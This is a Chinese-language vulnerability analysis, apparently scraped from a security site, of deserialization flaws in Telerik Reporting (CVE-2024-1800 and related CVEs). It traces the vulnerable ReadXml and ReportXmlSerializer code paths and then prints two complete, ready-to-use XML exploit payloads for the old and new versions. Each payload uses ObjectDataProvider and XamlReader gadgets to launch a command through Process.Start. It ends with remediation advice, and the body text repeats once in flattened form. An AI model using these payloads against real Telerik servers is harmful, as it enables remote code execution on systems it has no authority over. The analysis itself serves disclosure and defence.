Telerik Reporting XmlSerializer反序列化的0day挖掘
字数 960 2025-08-03 09:33:37

Telerik Reporting XmlSerializer反序列化漏洞分析与利用

漏洞概述

本文详细分析Telerik Reporting组件中存在的XmlSerializer反序列化漏洞(CVE-2024-1800、CVE-2024-1856、CVE-2024-1801),该漏洞可导致远程代码执行(RCE)。漏洞存在于Telerik Reporting的报表功能中,通过精心构造的XML数据可触发反序列化过程执行任意代码。

受影响版本

  • 旧版本:4.2.10.1221及之前
  • 新版本:17.2.23.1114及之前

漏洞原理分析

旧版本漏洞原理

  1. 反序列化流程

    StringReader stringReader = new StringReader(test);
    using (XmlReader xmlReader = XmlReader.Create(stringReader))
    {
        XmlSerializer serializer = new XmlSerializer(typeof(Telerik.Reporting.Report));
        var Reports = (Telerik.Reporting.Report)serializer.Deserialize(xmlReader);
    }
    
  2. 关键点

    • Telerik.Reporting.Report类实现了IXmlSerializable接口
    • 反序列化时会调用自定义的ReadXml方法
    • 调用链:Telerik.Reporting.Report#ReadXmlReportItemBase#ReadXmlTelerik.Reporting.Xml.XmlUtils#ReadXml
  3. 类型可控点

    PropertyInfo property = type1.GetProperty(reader.Name);
    object collection = property.GetValue(obj, (object[]) null);
    if (((object) property.PropertyType == (object) typeof (object) || XmlUtils.IsKnownType(property.PropertyType)) && property.CanWrite)
    {
        string attribute = reader.GetAttribute("Type");
        if (null != attribute)
        {
            Type type2 = Type.GetType(attribute);
            // 后续会使用XmlSerializer反序列化type2类型
        }
    }
    
  4. 利用条件

    • Report类中存在object类型属性
    • 通过DataSource部分构造恶意类型

新版本漏洞原理

  1. 变化点

    • 新版使用自定义反序列化器ReportXmlSerializer
    • Report类不再实现IXmlSerializable接口
  2. 反序列化流程

    private object ReadXmlElement(string name)
    {
        // 解析命名空间和本地名称
        ObjectReader.ParseNsString(name, out prefix, out localName);
    
        // 解析类型
        Type type1 = this.ResolveType(this.reader.LookupNamespace(prefix), localName);
        if (type1 != (Type) null)
            return this.ReadObject(type1);
    
        Type type2 = Type.GetType(name);
        if (!(type2 == (Type) null))
            return this.ReadPrimitive(type2);
    
        // 处理null值
        if (this.reader.Name == this.Settings.NullString || this.reader.Value == this.Settings.NullString)
            return (object) null;
    
        throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name);
    }
    
  3. 利用点

    • WebServiceDataSource类的Source属性(public object Source { get; set; }
    • 通过ObjectDataProvider调用任意方法

漏洞利用

旧版本利用Payload

<?xml version="1.0" encoding="utf-16"?>
<Report Width="15cm">
  <PageSettings PaperKind="A4" Landscape="false">
    <Margins Left="2.53999993cm" Right="2.53999993cm" Top="2.53999993cm" Bottom="2.53999993cm" />
  </PageSettings>
  <DataSource Type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider>
      <ProjectedProperty0>
        <ObjectInstance d5p1:type="XamlReader" xmlns:d5p1="http://www.w3.org/2001/XMLSchema-instance" />
        <MethodName>Parse</MethodName>
        <MethodParameters>
          <anyType xmlns:q1="http://www.w3.org/2001/XMLSchema" d6p1:type="q1:string" xmlns:d6p1="http://www.w3.org/2001/XMLSchema-instance">
            <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
              <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
                <ObjectDataProvider.MethodParameters>
                  <b:String>cmd</b:String>
                  <b:String>/c calc</b:String>
                </ObjectDataProvider.MethodParameters>
              </ObjectDataProvider>
            </ResourceDictionary>
          </anyType>
        </MethodParameters>
      </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
  </DataSource>
</Report>

新版本利用Payload

<?xml version="1.0" encoding="utf-16"?>
<Report DataSourceName="dataSource1" Width="17cm" xmlns="http://schemas.telerik.com/reporting/2023/3.0">
  <DataSources>
    <WebServiceDataSource DataEncoding="1200" ParameterValues="null" AuthParameterValues="null" ServiceUrl="test.com" Name="dataSource1">
      <Source>
        <ObjectDataProvider MethodName="Parse" xmlns="clr-namespace:System.Windows.Data;assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
          <ObjectInstance>
            <XamlReader xmlns="clr-namespace:System.Windows.Markup;assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
          </ObjectInstance>
          <MethodParameters>
            <String xmlns="http://schemas.telerik.com/reporting/2023/3.0">
              <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
                <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
                  <ObjectDataProvider.MethodParameters>
                    <b:String>cmd</b:String>
                    <b:String>/c calc</b:String>
                  </ObjectDataProvider.MethodParameters>
                </ObjectDataProvider>
              </ResourceDictionary>
            </String>
          </MethodParameters>
        </ObjectDataProvider>
      </Source>
    </WebServiceDataSource>
  </DataSources>
  <PageSettings PaperKind="A4">
    <Margins>
      <MarginsU Left="20mm" Right="20mm" Top="20mm" Bottom="20mm" />
    </Margins>
  </PageSettings>
</Report>

漏洞修复建议

  1. 升级到Telerik Reporting最新版本
  2. 对输入XML数据进行严格验证和过滤
  3. 限制反序列化过程中可加载的类型
  4. 使用安全的XML解析配置

总结

该漏洞源于Telerik Reporting组件对XML反序列化的不安全实现,攻击者可通过构造恶意XML数据实现远程代码执行。新旧版本虽然实现方式不同,但都存在类似的漏洞模式。开发人员应及时更新组件并实施安全配置,以防范此类攻击。

Telerik Reporting XmlSerializer反序列化漏洞分析与利用 漏洞概述 本文详细分析Telerik Reporting组件中存在的XmlSerializer反序列化漏洞(CVE-2024-1800、CVE-2024-1856、CVE-2024-1801),该漏洞可导致远程代码执行(RCE)。漏洞存在于Telerik Reporting的报表功能中,通过精心构造的XML数据可触发反序列化过程执行任意代码。 受影响版本 旧版本:4.2.10.1221及之前 新版本:17.2.23.1114及之前 漏洞原理分析 旧版本漏洞原理 反序列化流程 : 关键点 : Telerik.Reporting.Report 类实现了 IXmlSerializable 接口 反序列化时会调用自定义的 ReadXml 方法 调用链: Telerik.Reporting.Report#ReadXml → ReportItemBase#ReadXml → Telerik.Reporting.Xml.XmlUtils#ReadXml 类型可控点 : 利用条件 : Report 类中存在 object 类型属性 通过 DataSource 部分构造恶意类型 新版本漏洞原理 变化点 : 新版使用自定义反序列化器 ReportXmlSerializer Report 类不再实现 IXmlSerializable 接口 反序列化流程 : 利用点 : WebServiceDataSource 类的 Source 属性( public object Source { get; set; } ) 通过 ObjectDataProvider 调用任意方法 漏洞利用 旧版本利用Payload 新版本利用Payload 漏洞修复建议 升级到Telerik Reporting最新版本 对输入XML数据进行严格验证和过滤 限制反序列化过程中可加载的类型 使用安全的XML解析配置 总结 该漏洞源于Telerik Reporting组件对XML反序列化的不安全实现,攻击者可通过构造恶意XML数据实现远程代码执行。新旧版本虽然实现方式不同,但都存在类似的漏洞模式。开发人员应及时更新组件并实施安全配置,以防范此类攻击。